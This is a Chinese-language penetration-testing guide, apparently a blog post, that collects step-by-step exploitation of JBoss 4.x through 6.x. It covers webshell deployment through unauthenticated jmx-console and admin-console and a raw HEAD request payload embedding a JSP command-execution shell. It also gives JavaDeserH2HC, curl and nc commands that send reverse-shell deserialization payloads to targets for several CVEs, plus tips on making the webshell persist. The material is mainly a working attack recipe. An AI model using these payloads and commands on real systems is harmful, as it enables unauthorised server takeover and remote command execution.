0、控制臺(tái)相關(guān)信息
jboss4.x 及其之前的版本,console管理路徑為/jmx-console/ 和 /web-console/ 。
#jmx-console 和 web-console共用一個(gè)賬號(hào)密碼 ,賬號(hào)密碼文件在
/opt/jboss/jboss4/server/default/conf/props/jmx-console-users.properties
#jmx-console的配置文件為
/opt/jboss/jboss4/server/default/deploy/jmx-console.war/WEB-INF/jboss-web.xml
#web-console的配置文件為
/opt/jboss/jboss4/server/default/deploy/management/console-mgr.sar/web-console.war/WEB-INF/jboss-web.xml
#web-console的配置文件為
/opt/jboss/jboss4/server/default/deploy/management/console-mgr.sar/web-console.war/WEB-INF/jboss-web.xml
1、JMX Console未授權(quán)訪問Getshell
漏洞描述
此漏洞主要是由于JBoss中/jmx-console/HtmlAdaptor路徑對(duì)外開放,并且沒有任何身份驗(yàn)證機(jī)制,導(dǎo)致攻擊者可以進(jìn)⼊到j(luò)mx控制臺(tái),并在其中執(zhí)⾏任何功能。
影響版本
Jboss4.x以下
漏洞利⽤
Jboxx4.x的/jmx-console/ 后臺(tái)存在未授權(quán)訪問,進(jìn)入后臺(tái)后,可直接部署 war 包Getshell。若需登錄,可以嘗試爆破弱口令登錄。
步驟:
點(diǎn)擊jboss后臺(tái)的【jboss management】選項(xiàng)中的【jmx console】
然后找到【jboss.deployment】(jboss 自帶的部署功能)
點(diǎn)擊啟動(dòng)中的flavor=URL,type=DeploymentScanner進(jìn)去(通過 url 的方式遠(yuǎn)程部署)
也可以直接輸入U(xiǎn)RL全路徑進(jìn)入
http://xx.xx.xx.xx:8080/jmx-console/HtmlAdaptor?action=inspectMBean&name=jboss.deployment:type=DeploymentScanner,flavor=URL
找到頁面中的void addURL()選項(xiàng)來遠(yuǎn)程加載包含馬兒的war包來部署。
查看部署是否成功
返回到剛進(jìn)入jmx-console的頁面,找到 jboss.web.deployment,多刷新幾次頁面或者等會(huì)兒,直到看到有部署的war包即可
訪問我們的木馬
http://xx.xx.xx.xx:8080/test/test.jsp?pwd=123&cmd=ls
權(quán)限鞏固
#通常像上面這樣部署的webshell,物理路徑默認(rèn)都會(huì)在以下目錄下
\jboss-4.2.3.GA\server\default\tmp\deploy\xxx.war
#這個(gè)目錄只能臨時(shí)用,還需要把shell轉(zhuǎn)移到j(luò)mx-console的默認(rèn)目錄來鞏固權(quán)限
\jboss-4.2.3.GA\server\default\deploy\jmx-console.war
2、JMX Console HtmlAdaptor Getshell(CVE-2007-1036)
漏洞描述
原因同上一個(gè),但該漏洞利⽤的是后臺(tái)中【jboss.admin】 -> 【DeploymentFileRepository 】-> 【store()】⽅法,通過向四個(gè)參數(shù)傳⼊信息,達(dá)到上傳shell的⽬的,其中arg0傳⼊的是部署的war包名字,arg1傳⼊的是上傳的⽂件的⽂件名,arg2傳⼊的是上傳⽂件的⽂件格式,arg3傳⼊的是上傳⽂件中的內(nèi)容。通過控制這四個(gè)參數(shù)即可上傳shell,控制整臺(tái)服務(wù)器。
影響版本
Jboss4.x以下
漏洞利用
輸⼊url:
http://目標(biāo)IP:8080/jmx-console/HtmlAdaptor?action=inspectMBean&name=jboss.admin:service=DeploymentFileRepository
定位到store⽅法,通過向四個(gè)參數(shù)傳入信息,達(dá)到上傳shell的目
arg1傳入的是部署的war包名字,如shell.war
arg2傳入的是上傳的文件的文件名,如shell
arg3傳入的是上傳文件的文件格式,如jsp
arg4傳入的是上傳文件中的內(nèi)容,
通過控制這四個(gè)參數(shù)即可上傳shell,控制整臺(tái)服務(wù)器。
后面的CVE-2010-0738和CVE-2006-5750漏洞也存在這一特性。
3、JMX控制臺(tái)安全驗(yàn)證繞過漏洞(CVE-2010-0738)
漏洞描述
該漏洞利⽤⽅法跟CVE-2007-1036⼀樣,只是繞過了get和post傳輸限制,利⽤ head傳輸⽅式發(fā)送payload
影響版本
jboss4.2.0、jboss 4.3.0
漏洞利⽤
利⽤head傳輸⽅式,payload如下:
HEAD /jmx-console/HtmlAdaptor?
action=invokeOp&name=jboss.admin:service=DeploymentFileRepository&methodIn
dex=6&arg0=../jmx-console.war/&arg1=hax0rwin&arg2=.jsp&arg3=
<%Runtime.getRuntime().exec(request.getParameter("i"));%>&arg4=True
HTTP/1.1
Host: hostx:portx
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.1.9)
Gecko/20100315 Firefox/3.5.9 (.NET CLR 3.5.30729)
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 300
Proxy-Connection: keep-alive
4、CVE-2006-5750
此漏洞利用原理和CVE-2007-1036漏洞相同,唯一的區(qū)別是CVE-2006-5750漏洞利用【methodIndex】進(jìn)行【store()】方法的調(diào)用。其中methodIndex是通過方法的編號(hào)進(jìn)行調(diào)用。
5、JBOSS MQ JMS CVE-2017-7504 集群反序列化漏洞 4.X
漏洞描述
JBoss AS 4.x及之前版本中,JbossMQ實(shí)現(xiàn)過程的JMS over HTTP Invocation Layer的HTTPServerILServlet.java⽂件存在反序列化漏洞,遠(yuǎn)程攻擊者可借助特制的序列化數(shù)據(jù)利⽤該漏洞執(zhí)⾏任意代碼。
影響版本
JBoss AS 4.x及之前版本
漏洞利用
首先驗(yàn)證目標(biāo)jboss是否存在此漏洞,直接訪問
/jbossmq-httpil/HTTPServerILServlet 路徑下。若訪問200,則可能存在漏洞。
使用JavaDeserH2HC工具來利用該漏洞,嘗試直接彈回一個(gè)shell
javac -cp .:commons-collections-3.2.1.jar ReverseShellCommonsCollectionsHashMap.java
java -cp .:commons-collections-3.2.1.jar ReverseShellCommonsCollectionsHashMap 反彈的IP:端口
curl http://目標(biāo)IP:8080/jbossmq-httpil/HTTPServerILServlet/ --data-binary @ReverseShellCommonsCollectionsHashMap.ser
vps使用nc監(jiān)聽端口,`nc -lvp 4444
成功反彈shell
二、[5x-6x]漏洞匯總
1、Jboss5.x/6.x控制臺(tái)
Jboss5.x開始棄用了 web-console ,增加了admin-console。jboss5.x / 6.x 版本 console 路徑為 /jmx-console/ 和 /admin-console/。
#jmx-console 和 web-console 共用一個(gè)賬號(hào)密碼 ,賬號(hào)密碼文件在
jboss/server/default/conf/props/jmx-console-users.properties
#jmx-console的配置文件為
jboss/common/deploy/jmx-console.war/WEB-INF/jboss-web.xml
#admin-console的配置文件為
jboss/common/deploy/admin-console.war/WEB-INF/jboss-web.xml
2、Jboss 5.x/6.x admin-Console后臺(tái)部署war包Getshell
Jboss5.X開始,jmx-console不能部署war包了,需要admin-console后臺(tái)部署
登錄進(jìn)admin-console后臺(tái)后,
點(diǎn)擊Web Application(WAR)s
然后Add a new resource
這里選擇我們本地生成好的war包
上傳后訪問我們的馬
http://xx.xx.xx.xx:8080/test/test.jsp?pwd=123&cmd=ls
3、JBoss JMXInvokerServlet 反序列化漏洞(CVE-2015-7501)
經(jīng)典的 JBoss 反序列化漏洞,JBoss在 /invoker/JMXInvokerServlet 請(qǐng)求中讀取了用戶傳入的對(duì)象
然后我們可以利用 Apache Commons Collections 中的 Gadget 執(zhí)行任意代碼。
由于JBoss中invoker/JMXInvokerServlet路徑對(duì)外開放,JBoss的jmx組件⽀持Java反序列化
影響版本
實(shí)際上主要集中在 jboss 6.x 版本上:
Apache Group Commons Collections 4.0
Apache Group Commons Collections 3.2.1
Apache Group Commons Collections
漏洞探測(cè)
此漏洞存在于JBoss中 /invoker/JMXInvokerServlet 路徑。訪問若提示下載 JMXInvokerServlet,則可能存在漏洞。
先啟動(dòng)靶機(jī)環(huán)境,訪問:http://yourip:8080/
使用JavaDeserH2HC 生成反彈 shell 的 payload
#進(jìn)行文件編譯
javac -cp .:commons-collections-3.2.1.jar ReverseShellCommonsCollectionsHashMap.java
#生成載荷的序列化文件xx.ser(反彈shell到我們的vps)
java -cp .:commons-collections-3.2.1.jar ReverseShellCommonsCollectionsHashMap 公網(wǎng)vps的ip:端口號(hào)
#利用curl提交我們的ser文件
curl http://目標(biāo)IP:8080/invoker/JMXInvokerServlet --data-binary @ReverseShellCommonsCollectionsHashMap.ser
vps使用nc監(jiān)聽端口,nc -lvp 4444
成功反彈
4、JBoss EJBInvokerServlet CVE-2013-4810 反序列化漏洞
此漏洞和CVE-2015-7501漏洞原理相同
影響版本
實(shí)際上主要集中在 jboss 6.x 版本上:
Apache Group Commons Collections 4.0
Apache Group Commons Collections 3.2.1
Apache Group Commons Collections
漏洞利用
跟CVE-2015-7501利⽤⽅法⼀樣,只是路徑不⼀樣,這個(gè)漏洞利⽤路徑是 /invoker/EJBInvokerServlet
5、JBoss 5.x/6.x CVE-2017-12149 反序列化漏洞
漏洞描述
該漏洞為 Java反序列化錯(cuò)誤類型,存在于 Jboss 的 HttpInvoker 組件中的 ReadOnlyAccessFilter 過濾器中。該過濾器在沒有進(jìn)行任何安全檢查的情況下嘗試將來自客戶端的數(shù)據(jù)流進(jìn)行反序列化,從而導(dǎo)致了漏洞。
該漏洞出現(xiàn)在**/invoker/readonly**請(qǐng)求中,服務(wù)器將用戶提交的POST內(nèi)容進(jìn)行了Java反序列化,導(dǎo)致傳入的攜帶惡意代碼的序列化數(shù)據(jù)執(zhí)行。
影響版本
JbossAS 5.x
JbossAS 6.x
漏洞驗(yàn)證POC
http://目標(biāo):8080/invoker/readonly,如果出現(xiàn)報(bào) 500 錯(cuò)誤,則說明目標(biāo)機(jī)器可能存在此漏洞
漏洞利用現(xiàn)成工具
可以直接使用工具cve-2017-12149 jboss反序列化工具,填入目標(biāo)地址和cmd即可
也可以借助JavaDeserH2HC來完成整個(gè)利用過程
javac -cp .:commons-collections-3.2.1.jar ReverseShellCommonsCollectionsHashMap.java
java -cp .:commons-collections-3.2.1.jar ReverseShellCommonsCollectionsHashMap vps的ip:端口
然后嘗試?yán)胏url發(fā)送payload到目標(biāo)機(jī)器上執(zhí)行后,發(fā)現(xiàn)vps已成功接彈回的shell
curl http://www.target.net/invoker/readonly --data-binary @ReverseShellCommonsCollectionsHashMap.ser
# 然后監(jiān)聽端口
nc -lvp 4444
該文章在 2023/12/13 18:58:25 編輯過